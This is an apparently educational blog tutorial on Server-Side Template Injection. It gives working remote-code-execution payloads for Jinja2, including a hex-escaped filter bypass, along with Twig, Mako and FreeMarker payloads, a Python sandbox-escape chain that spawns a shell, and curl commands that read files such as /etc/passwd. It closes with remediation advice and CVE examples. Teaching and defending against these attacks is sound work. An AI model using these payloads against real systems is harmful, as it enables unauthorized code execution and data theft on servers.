The first time I tested a web form for SSTI, I typed {{7*7}} and hit submit. The page came back with 49.
That's SSTI confirmed in one request.
Server-Side Template Injection (SSTI) happens when a web app takes user input and feeds it directly to a template engine as the template itself, instead of passing it as a variable into a pre-written template. The engine runs your input as code, not as text.
Here's why that's a bigger deal than XSS: XSS executes in the victim's browser. SSTI executes on the server, with the application's own privileges. You're not injecting into someone else's tab. You're running code on the machine hosting the app.
Here's the one-liner for basic Jinja2 SSTI with no filter. If this is all you need:
# Step 1: confirm SSTI{{7*7}}# -> page shows 49? SSTI confirmed.# Step 2: read the flag (Flask + Jinja2, no filter){{ cycler.__init__.__globals__.os.popen('cat flag').read() }}
detection: the {{7*7}} test
{{7*7}} is the canonical SSTI probe. It's safe (no side effects), easy to remember, and unambiguous. If the server responds with 49, the template engine evaluated your expression. If it responds with the literal string {{7*7}}, the value is reflected but not evaluated. That's reflected XSS territory, not SSTI.
# Test any form parameter with curlcurl -s -X POST -d "content={{7*7}}" http://target/page# Response contains 49 -> SSTI confirmed# Response contains {{7*7}} -> reflected, not evaluated
The second test is {{7*'7'}}. This one distinguishes Jinja2 from Twig. Jinja2 returns 7777777 (string repetition). Twig returns 49 (numeric multiplication). One character difference. Two completely different payload families.
which template engine?
A Jinja2 payload does nothing on a FreeMarker server. A Mako payload fails silently on Twig. Engine identification comes before exploitation. Here are the detection payloads that separate the five most common engines:
| Engine | Detection payload | Output | Language |
|---|---|---|---|
| Jinja2 | {{7*'7'}} | 7777777 | Python (Flask, Django) |
| Twig | {{7*'7'}} | 49 | PHP (Symfony) |
| Mako | ${7*7} | 49 | Python |
| FreeMarker | ${7*7} | 49 | Java |
| ERB | <%= 7*7 %> | 49 | Ruby (Rails) |
CTF challenges on picoCTF almost always use Jinja2. Real-world bug bounty targets use whatever the app was built on. If detection payloads don't evaluate, try triggering an error with {{foobar}} or ${foobar}. Error messages frequently name the engine.
the cycler trick: Jinja2 with no filter
Jinja2 exposes a set of helper objects to every template context. One of them is cycler, a utility for cycling through values (alternating CSS classes, that kind of thing). Completely harmless in normal use.
Except that cycler is a Python class. Its __init__ method is a Python function. And every Python function carries a __globals__ attribute that points to the module's global namespace. If the os module was imported anywhere in the application, it lives in that dictionary.
From a Jinja2 template, you can walk the chain directly:
# Confirm command execution{{ cycler.__init__.__globals__.os.popen('id').read() }}# List the working directory{{ cycler.__init__.__globals__.os.popen('ls').read() }}# Read the flag{{ cycler.__init__.__globals__.os.popen('cat flag').read() }}# curl version (for scripting)curl -s -X POST \-d "content={{ cycler.__init__.__globals__.os.popen('cat flag').read() }}" \http://target/page
cycler is not the only gadget. Jinja2 also exposes lipsum and namespace globally. All three are Python objects with accessible __globals__ chains. If one is filtered, try the others.
render_template_string(user_input) is equivalent to handing that user a Python shell.The picoCTF challenge SSTI1 uses exactly this pattern: a Flask form that calls render_template_string(user_input) with no keyword filter. The cycler payload solves it in a single request.
when filters fight back: the ssti2 bypass
Adding a keyword filter is the obvious hardening step after SSTI1. Block the strings cycler, __globals__, import, and other dangerous words. If none of them appear in the payload, nothing dangerous can happen.
Wrong. Here's why keyword filters always lose.
Jinja2 has an |attr() filter that works like Python's getattr(): it lets you look up an attribute by passing a string argument instead of using dot notation. And Jinja2 decodes Python-style hex escapes inside string literals. So "\x5f\x5fglobals\x5f\x5f" decodes to the string __globals__ at runtime. The literal characters _ never appear in your payload text.
The filter scans your input and sees a backslash, an x, and some hex digits. Jinja2 reads __globals__. They are looking at different things, and the filter never had a chance.
# Full filter bypass for SSTI2# Underscores hex-encoded as \x5f to dodge the keyword blacklist{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}# Swap 'id' for 'cat flag' to read the flag
This chain uses request.application instead of cycler because cycler is blocked. Flask automatically exposes request in every template context. request.application returns the Flask app object. Its __globals__ reaches __builtins__, and from there __import__ loads any module you name.
\x5f is four literal characters in your payload: a backslash, x, 5, f. Jinja2 decodes that to one character (underscore, byte 0x5f) when evaluating the string. The filter runs on the original text. Jinja2 runs on the decoded value. This is not a bug in the filter implementation. It is a structural property of any filter that works at the string level.The general pattern: whenever a filter blocks a string, there are multiple ways to express the same string without spelling it out. Hex encoding is one. String concatenation is another. The |attr() syntax is a third. A keyword blacklist must block every possible form of every blocked string. An attacker only needs to find one that passes.
A keyword blacklist is playing Whack-a-Mole against an infinite set of equivalent expressions. It will always lose.
why this looks familiar: the pyjail connection
If you've worked through the Python sandbox bypass post, the __globals__ chain should look familiar. Pyjail challenges use the same mechanism: Python's object model exposes every module's namespace through function attributes, and any loaded function is a path in.
In a pyjail, you reach os through the MRO chain, walking from any available object up to object and back down through its subclasses:
# Pyjail: reach os via the MRO chain[c for c in ''.__class__.__mro__[-1].__subclasses__()if 'os' in getattr(c.__init__, '__globals__', {})][0].__init__.__globals__['os'].system('sh')
In a Jinja2 template, you reach os through cycler.__init__.__globals__ because template syntax doesn't give you a raw Python prompt. Different notation, same Python object model:
# Jinja2: reach os via cycler.__init__.__globals__{{ cycler.__init__.__globals__.os.popen('id').read() }}
Both approaches find a loaded Python function, read its __globals__ dictionary, and pull out the os module. The steps are identical. The syntax is different because Jinja2 wraps things in {{ }} and attribute access goes through the template's own dot notation.
__globals__. Once you see the connection, you do not need to memorize two separate payload lists. One mental model covers both.other template engines: Twig, Mako, FreeMarker
Most CTF challenges use Jinja2. Real-world bug bounty targets run whatever the app was built on. Here are the key payloads for the other common engines.
Twig (PHP). Twig is the default engine in Symfony and many Laravel projects. It doesn't expose Python's object model, but it does expose PHP's. The standard RCE path goes through filter chaining:
# Twig: confirm{{7*7}}# Twig: RCE via system(){{['id']|map('system')|join}}# Twig: read a file (route it through the same system() gadget){{['cat /etc/passwd']|map('system')|join}}
{{'/etc/passwd'|file_get_contents}}. file_get_contents is a PHP function, not a built-in Twig filter, so it only works if the app registered it. The map('system') gadget is the reliable primitive: it goes through the same PHP call surface Twig already exposes.Mako (Python). Mako uses ${} syntax and executes Python inline by design. Detection is ${7*7}. Exploitation is direct:
# Mako: confirm${7*7}# Mako: RCE${__import__('os').popen('id').read()}
FreeMarker (Java). Common in Java enterprise applications. Uses ${} syntax. The standard exploitation path uses freemarker.template.utility.Execute:
# FreeMarker: confirm${7*7}# FreeMarker: RCE<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
the one-line fix
What worries me about SSTI is how easy the vulnerable pattern is to write by accident. The bug and the fix look almost identical:
# Vulnerable: user input IS the templatereturn render_template_string(user_input)# Safe: user input is a variable passed INTO a templatereturn render_template("page.html", content=user_input)
In the safe version, content is a variable inside the template file. Jinja2 HTML-escapes it automatically. {{7*7}} shows up as literal text on the page. The engine never sees user input as code.
In the vulnerable version, user input is the template. Jinja2 parses it and evaluates anything that looks like a template expression. This is eval(user_input) with a different name. It's the same mistake, just one abstraction layer further from obvious.
The bug isn't in Jinja2. It's in the line render_template_string(user_input) that someone wrote thinking it was safe.Real incidents show how quickly this becomes a serious problem. In January 2024, Atlassian disclosed CVE-2023-22527, an unauthenticated SSTI in Confluence Data Center and Server. CVSS score: 10.0. Attackers exploited it in the wild within five days of the public disclosure, running arbitrary system commands without any login required. The changedetection.io CVE-2024-32651 is closer to the picoCTF pattern: a Python application using Jinja2's render_template_string on user-controlled content, giving remote code execution to anyone with access to the feature.
If your application genuinely needs to let users write template syntax (email builders, CMS themes, announcement systems), the options are:
Use SandboxedEnvironment. jinja2.sandbox.SandboxedEnvironment() blocks access to dunder attributes and restricts callable objects. It raises the exploitation bar meaningfully.
SandboxedEnvironment is not a complete fix. Published sandbox escapes exist for Jinja2. Objects exposed to the template that carry function references can still leak __globals__ through attribute access. Treat the sandbox as a speed bump, not a wall. The only fully reliable fix is not passing user input to a general-purpose template engine at all.Use a restricted DSL. Shopify's Liquid and Mailchimp's expression language are intentionally limited. They support dynamic content without exposing a language runtime. If the use case is an email builder or a theme system, a DSL with a fixed grammar is the right choice. Shopify and Mailchimp made this call for exactly this reason.
Add static analysis. Semgrep and Bandit both have rules that flag render_template_string calls with non-literal arguments. SSTI hides in one-line refactors. Catching it in CI is the only way to find it consistently across a growing codebase.
picoCTF challenges
The two main picoCTF SSTI challenges add exactly one layer of difficulty each. Work through them in order.
| Challenge | Filter | Technique | Key gadget |
|---|---|---|---|
| SSTI1 | none | Direct cycler gadget | cycler.__init__.__globals__.os.popen(cmd).read() |
| SSTI2 | keyword blacklist (cycler, __globals__, ...) | hex |attr() + request.application chain | request|attr(...)|attr('\x5f\x5fglobals\x5f\x5f')|... |
For related techniques in the injection family: SQL injection shares the same root cause (untrusted input reaches an interpreter), command injection is what SSTI typically leads to at the OS level, and the LFI post covers a cousin vulnerability where the injection reads files instead of executing code. The Python sandbox bypass post goes deeper on the __globals__ chain for challenges where the injection point is a raw Python eval. When a challenge stacks SSTI on top of a URL-fetching feature, that combination is Server-Side Request Forgery underneath: Bithug (2021) and Cancri SP (2023) are both SSRF-plus-injection chains.
Sources and further reading
SSTI is object-graph traversal dressed as a templating bug. The language data model is the real reference.
- The Python data model documents __class__, __mro__, and __subclasses__, the three attributes every Jinja2 payload walks to reach a class that can run a subprocess. Read it once and you can build the chain rather than copying it.
- Jinja2 sandbox documentation is explicit that the sandbox is not a security boundary against untrusted templates, only against untrusted template data.
- CWE-1336 for the classification and CVE-2022-22965 (Spring4Shell) for the same class-traversal idea reaching remote code execution in a Java framework.
- The OWASP Top 10 for where template injection sits under the injection category, and for the framing that the bug is concatenating untrusted input into a template rather than passing it as a value.
